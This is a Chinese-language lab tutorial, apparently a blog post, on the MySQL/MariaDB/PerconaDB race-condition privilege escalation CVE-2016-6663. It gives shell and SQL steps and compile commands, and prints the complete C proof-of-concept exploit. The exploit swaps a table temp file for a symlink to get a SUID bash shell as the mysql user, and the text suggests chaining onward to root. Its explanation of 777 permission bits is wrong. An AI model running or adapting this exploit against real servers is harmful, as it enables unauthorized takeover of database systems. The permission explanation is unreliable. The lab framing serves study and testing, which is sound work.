mysql CVE-2016-6663 條件競爭漏洞提權(quán)詳情與POC

MySQLMariaDBPerconaDB數(shù)據(jù)庫中發(fā)現(xiàn)條件競爭漏洞在受影響版本中,用戶可以使用低權(quán)限的數(shù)據(jù)庫用戶(例如:只有查詢或創(chuàng)建權(quán)限的用戶)提升到數(shù)據(jù)庫系統(tǒng)用戶(Mysql)。

漏洞危害

MariaDBPerconaDB都屬于MySQL的分支,是全球使用最廣泛的數(shù)據(jù)庫之一,特別是在Web端。漏洞危害極大,一旦惡意訪問者成功利用提權(quán)漏洞,將對數(shù)據(jù)庫的數(shù)據(jù)造成不可估量危害。

漏洞范圍

漏洞范圍

實驗環(huán)境

  • 操作機Kali Linux

實驗工具

  • mysql-privesc-race:這個文件是本次漏洞試驗的POC,我們將使用本文件驗證漏洞

實驗步驟

本實驗分為兩步,其中第一步了解漏洞原理,第二步使用POC證明漏洞的存在

步驟1: 漏洞成因分析

  • 本步驟又分為四小步:

  • 第一步,啟動mysql。

  • 第二步,創(chuàng)建文件夾,并通過mysql把臨時數(shù)據(jù)儲存在我們創(chuàng)建的文件夾。

  • 第三步,修改文件夾屬性,再次通過mysql寫入數(shù)據(jù)

  • 第四步,對比兩次寫入的數(shù)據(jù),分析漏洞成因

  • 第一步

啟動mysql數(shù)據(jù)庫:

使用命令

service mysql start   //啟動mysql服務(wù)
su user

mysql已經(jīng)啟動成功

  • 第二步

現(xiàn)在查看當(dāng)前用戶權(quán)限,以便于后期區(qū)分權(quán)限。使用whoami命令,可以查看當(dāng)前用戶:

Alt text

可以看到當(dāng)前是user賬戶。

接下來創(chuàng)建文件夾,因為我們要將數(shù)據(jù)庫的數(shù)據(jù)指向到我們創(chuàng)建的文件夾中,這樣才有了利用的可能。

然后使用命令:

mkdir /tmp/nice

mkdir是創(chuàng)建文件夾的意思,使用上述命令,可以在tmp目錄下創(chuàng)建nice文件夾。

Alt text

接下來使用命令:

chmod 777 /tmp/nice/

這條命令的意思是:將此文件夾的權(quán)限設(shè)置為777

在linux中權(quán)限設(shè)置很嚴(yán)謹(jǐn),我們設(shè)置為777,是為了在實驗中防止某些文件不能寫入。

Alt text

那么777是什么權(quán)限呢?777就代表最高的權(quán)限。

第一個數(shù)字代表文件所屬者的權(quán)限 第二個數(shù)字代表文件所屬者所在組的權(quán)限 第三個數(shù)字代表其它用戶的權(quán)限。

也就是:7=4+2+1

4:執(zhí)行時設(shè)置用戶ID,用于授權(quán)給基于文件屬主的進程,而不是給創(chuàng)建此進程的用戶。 2:執(zhí)行時設(shè)置用戶組ID,用于授權(quán)給基于文件所在組的進程,而不是基于創(chuàng)建此進程的用戶。 1:設(shè)置粘著位。

再使用命令:

ls -ld

這條命令的意思是列出詳細(xì)的目錄列表,并且僅列出目錄

Alt text

我們可以看到,這個文件夾屬于user,也就是我們當(dāng)前的用戶。

現(xiàn)在已經(jīng)創(chuàng)建了文件夾,接下來我們登錄數(shù)據(jù)庫,創(chuàng)建一個表,使其產(chǎn)生臨時數(shù)據(jù)。

使用命令:

mysql -utest -p1234

這條命令可以連接到數(shù)據(jù)庫,其中-u后面輸入賬號,-p后面輸入密碼。

Alt text

可以看到已經(jīng)成功的連接到了數(shù)據(jù)庫。

接下來我們使用Sql語句來添加數(shù)據(jù):

show databases; //查看當(dāng)前數(shù)據(jù)庫
use test;  //用到test數(shù)據(jù)庫
show tables; //查看test數(shù)據(jù)庫中的表
CREATE TABLE JG1 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/nice';
    //創(chuàng)建一個名為JG1的表,并使用MyISAM引擎,將數(shù)據(jù)儲存在/tmp/nice目錄。
show tables; //查看test數(shù)據(jù)庫中的表

Alt text

我們已經(jīng)創(chuàng)建了一個表,名為JG1,并將它的數(shù)據(jù)儲存在/tmp/nice目錄。現(xiàn)在我們?nèi)ゲ榭磏ice目錄:

exit;   //退出Mysql系統(tǒng)
cd /tmp/nice/ //進入nice目錄
ls -l    //查看當(dāng)前目錄下文件詳細(xì)信息

Alt text
  • 第三步:

下面修改文件夾的屬性:

chmod g+s /tmp/nice/   //nice文件夾下所建文件的所屬組都會變成和nice一樣

其中 g的意思是:任何用戶在此目錄下創(chuàng)建的文件都具有和該目錄所屬的組相同的組 s:該位可以理解為防刪除位. 一個文件是否可以被某用戶刪除, 主要取決于

該文件所屬的組是否對該用戶具有寫權(quán)限. 如果沒有寫權(quán)限, 則這個目錄下的所有文件都不能被刪除, 同時也不能添加新的文件. 如果希望用戶能夠添加文件但同時不能刪除文件, 則可以對文件使用sticky bit位. 設(shè)置該位后, 就算用戶對目錄具有寫權(quán)限, 也不能刪除該文件。

Alt text

接下來我們寫入數(shù)據(jù):

show databases; //查看當(dāng)前數(shù)據(jù)庫
use test;  //用到test數(shù)據(jù)庫
show tables; //查看test數(shù)據(jù)庫中的表
CREATE TABLE JG2 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/nice';
    //創(chuàng)建一個名為JG2的表,并使用MyISAM引擎,將數(shù)據(jù)儲存在/tmp/nice目錄。
show tables; //查看test數(shù)據(jù)庫中的表

Alt text

這樣一來,nice文件夾中的文件,就屬于我們當(dāng)前的user組了,我們也就有了寫的權(quán)限,漏洞也就這樣產(chǎn)生了,我們再通過構(gòu)建POC,就可以驗證漏洞的存在了。

第四步:

這時候再查看nice文件夾:

exit;
cd /tmp/nice/
ls -l

Alt text

可以看到,本來mysql的臨時文件應(yīng)該是屬于mysql組的,但通過我們修改其文件夾屬性,在加上mysql執(zhí)行了不安全的臨時文件創(chuàng)建,就導(dǎo)致臨時文件屬于user組,對其也就有了操作的權(quán)限,漏洞就這樣產(chǎn)生了

第二步:使用POC驗證漏洞

  • 本步驟將使用POC驗證漏洞

我們首先嘗試使用普通用戶,進入mysql的數(shù)據(jù)庫存放處/var/lib/mysql/

Alt text

可以看到,我們并沒有權(quán)限進入文件夾。

接下來執(zhí)行POC進行漏洞驗證,首先進入POC所在文件夾:

cd /home   //進入home目錄
ls     //查看當(dāng)前目錄文件

Alt text

其中mysql-privesc-race就是本次的POC,接下來要執(zhí)行它:

./mysql-privesc-race test 1234 localhost test

其中,./代表執(zhí)行當(dāng)前目錄下mysql-privesc-race文件的意思,后面的test和1234,為低權(quán)限用戶的賬號密碼,localhost則代表本地ip的意思,最后的test代表當(dāng)前test用戶的數(shù)據(jù)庫。

Poc執(zhí)行時,嘗試次數(shù)具有隨機性,所以需等待一段時間,請耐心等候~~

Alt text

如圖,我們已經(jīng)提升到mysql權(quán)限,這樣就可以對mysql的整個庫進行控制了。

現(xiàn)在再次進入/var/lib/myql文件夾,看能否進入成功。

Alt text

可以看到,成功的進入,并對mysql下所有數(shù)據(jù)庫具有控制權(quán)。

到這里也就達到了提權(quán)的目的。

編譯exp:
如果編譯失敗可能是缺少mysql庫,使用sudo apt-get install libmysqld-dev安裝
若需指定mysqlclient動態(tài)鏈接庫路徑,可加上-L參數(shù)如-L/usr/lib64/mysql
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient

POC:

/*
MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit
mysql-privesc-race.c (ver. 1.0)

CVE-2016-6663 / OCVE-2016-5616

Discovered/Coded by:

Dawid Golunski

dawid[at]legalhackers.com
@dawid_golunski
http://legalhackers.com


Compile:
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient

Note:
* On RedHat-based systems you might need to change /tmp to another public directory
在基于redhat的系統(tǒng)上,你可能需要將/tmp目錄改為其他的目錄如/uploads

* For testing purposes only. Do no harm.  

Full advisory URL:
http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html

*/


#include <fcntl.h>
#include <grp.h>
#include <mysql.h>
#include <pwd.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>


#define EXP_PATH          "/tmp/mysql_privesc_exploit"
#define EXP_DIRN          "mysql_privesc_exploit"
#define MYSQL_TAB_FILE    EXP_PATH "/exploit_table.MYD"
#define MYSQL_TEMP_FILE   EXP_PATH "/exploit_table.TMD"

#define SUID_SHELL        EXP_PATH "/mysql_suid_shell.MYD"

#define MAX_DELAY 1000    // can be used in the race to adjust the timing if necessary

MYSQL *conn;          // DB handles
MYSQL_RES *res;
MYSQL_ROW row;

unsigned long cnt;


void intro() {

printf( 
        "\033[94m\n"
        "MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit\n"
        "mysql-privesc-race.c (ver. 1.0)\n\n"
        "CVE-2016-6663 / OCVE-2016-5616\n\n"
        "For testing purposes only. Do no harm.\n\n"
    "Discovered/Coded by:\n\n"
    "Dawid Golunski \n"
    "http://legalhackers.com"
        "\033[0m\n\n");

}

void usage(char *argv0) {
    intro();
    printf("Usage:\n\n%s user pass db_host database\n\n", argv0);
}

void mysql_cmd(char *sql_cmd, int silent) {
    
    if (!silent) {
        printf("%s \n", sql_cmd);
    }
    if (mysql_query(conn, sql_cmd)) {
        fprintf(stderr, "%s\n", mysql_error(conn));
        exit(1);
    }
    res = mysql_store_result(conn);
    if (res>0) mysql_free_result(res);

}


int main(int argc,char **argv)
{

    int randomnum = 0;
    int io_notified = 0;
    int myd_handle;
    int wpid;
    int is_shell_suid=0;
    pid_t pid;
    int status;
    struct stat st;
    /* io notify */
    int fd;
    int ret;
    char buf[4096] __attribute__((aligned(8)));
    int num_read;
    struct inotify_event *event;
    /* credentials */
    char *user     = argv[1];
    char *password = argv[2];
    char *db_host  = argv[3];
    char *database = argv[4];


    // Disable buffering of stdout
    setvbuf(stdout, NULL, _IONBF, 0);

    // Get the params
    if (argc!=5) {
    usage(argv[0]);
    exit(1);
    } 
    intro();
    // Show initial privileges
    printf("\n[+] Starting the exploit as: \n");
    system("id");

    // Connect to the database server with provided credentials
    // 連接數(shù)據(jù)庫
    printf("\n[+] Connecting to the database `%s` as %s@%s\n", database, user, db_host);
    conn = mysql_init(NULL);
    if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) {
        fprintf(stderr, "%s\n", mysql_error(conn));
        exit(1);
    }

    // Prepare tmp dir
    // 新建目錄/tmp/mysql_privesc_exploit,并未該目錄設(shè)置SGID
    printf("\n[+] Creating exploit temp directory %s\n", "/tmp/" EXP_DIRN);
    umask(000);
    system("rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN);
    system("chmod g+s /tmp/" EXP_DIRN );

    // Prepare exploit tables :)
    // 新建兩個表exploit_table和mysql_suid_shell
    printf("\n[+] Creating mysql tables \n\n");
    mysql_cmd("DROP TABLE IF EXISTS exploit_table", 0);
    mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell", 0);
    mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
    mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);

    // Copy /bin/bash into the mysql_suid_shell.MYD mysql table file
    // The file should be owned by mysql:attacker thanks to the sticky bit on the table directory
    // 拷貝/bin/bash到mysql_suid_shell.MYD
    printf("\n[+] Copying bash into the mysql_suid_shell table.\n    After the exploitation the following file/table will be assigned SUID and executable bits : \n");
    system("cp /bin/bash " SUID_SHELL);
    system("ls -l " SUID_SHELL);

    // Use inotify to get the timing right
    fd = inotify_init();
    if (fd < 0) {
        printf("failed to inotify_init\n");
        return -1;
    }
    ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE);


    /* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */

    printf("\n[+] Entering the race loop... Hang in there...\n");
    // 判斷mysql_suid_shell.MYD是否被設(shè)置了suid
    while ( is_shell_suid != 1 ) {

        cnt++;
    if ( (cnt % 100) == 0 ) {
        printf("->");
        //fflush(stdout);   
    }

        /* Create empty file , remove if already exists */
        // 刪除exploit_table.TMD
        unlink(MYSQL_TEMP_FILE);
        // 刪除exploit_table.MYD
        unlink(MYSQL_TAB_FILE);
    mysql_cmd("DROP TABLE IF EXISTS exploit_table", 1);
    mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 1);

    /* random num if needed */
        srand ( time(NULL) );
        randomnum = ( rand() % MAX_DELAY );

        // Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlink
        // 替換exploit_table.tmd為符號鏈接
        pid = fork();
        if (pid < 0) {
            fprintf(stderr, "Fork failed :(\n");
        }

        /* Child process - executes REPAIR TABLE  SQL statement */
        // 子進程執(zhí)行REPAIR操作, 該操作會生成一個TMD文件
        if (pid == 0) {
            usleep(500);
            unlink(MYSQL_TEMP_FILE);
        mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1);
            // child stops here
            exit(0);
        }
        // 父進程將exploit_table.tmd替換為符號鏈接
        /* Parent process - aims to replace the temp .tmd table with a symlink before chmod */
        if (pid > 0 ) {
            io_notified = 0;

            while (1) {
                int processed = 0;
                ret = read(fd, buf, sizeof(buf));
                if (ret < 0) {
                    break;
                }
                while (processed < ret) {
                    event = (struct inotify_event *)(buf + processed);
                    if (event->mask & IN_CLOSE) {
                        if (!strcmp(event->name, "exploit_table.TMD")) {
                            //usleep(randomnum);

                // Set the .MYD permissions to suid+exec before they get copied to the .TMD file 
                // 將MYD的權(quán)限設(shè)置為04777(suid+exec)
                // 刪除mysql建立的exploit_table.MYD
                unlink(MYSQL_TAB_FILE);
                // 以attacker身份新建exploit_table.MYD
                myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777);
                close(myd_handle);
                // 將MYD權(quán)限改為04777
                chmod(MYSQL_TAB_FILE, 04777);
                // 將exploit_table.TMD換為符號鏈接,指向mysql_suid_shell.TMD
                // Replace the temp .TMD file with a symlink to the target sh binary to get suid+exec
                            unlink(MYSQL_TEMP_FILE);
                            symlink(SUID_SHELL, MYSQL_TEMP_FILE);
                            io_notified=1;
                        }
                    }
                    processed += sizeof(struct inotify_event);
                }
                if (io_notified) {
                    break;
                }
            }


            waitpid(pid, &status, 0);
        }

    // Check if SUID bit was set at the end of this attempt
        if ( lstat(SUID_SHELL, &st) == 0 ) {
        if (st.st_mode & S_ISUID) {
        is_shell_suid = 1;
        }
        } 

    }

    printf("\n\n[+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m: \n\n", cnt);
    system("ls -l " SUID_SHELL);

    printf("\n[+] Spawning the \033[94mmysql SUID shell\033[0m now... \n    Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-2016-6662\033[0m or \033[1;31mCVE-2016-6664\033[0m :)\n\n");
    //啟動bash shell,因為設(shè)置了SUID,所以會獲得mysql權(quán)限
    system(SUID_SHELL " -p -i ");
    //system(SUID_SHELL " -p -c '/bin/bash -i -p'");

    /* close MySQL connection and exit */
    printf("\n[+] Job done. Exiting\n\n");
    mysql_close(conn);
    return 0;

}
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。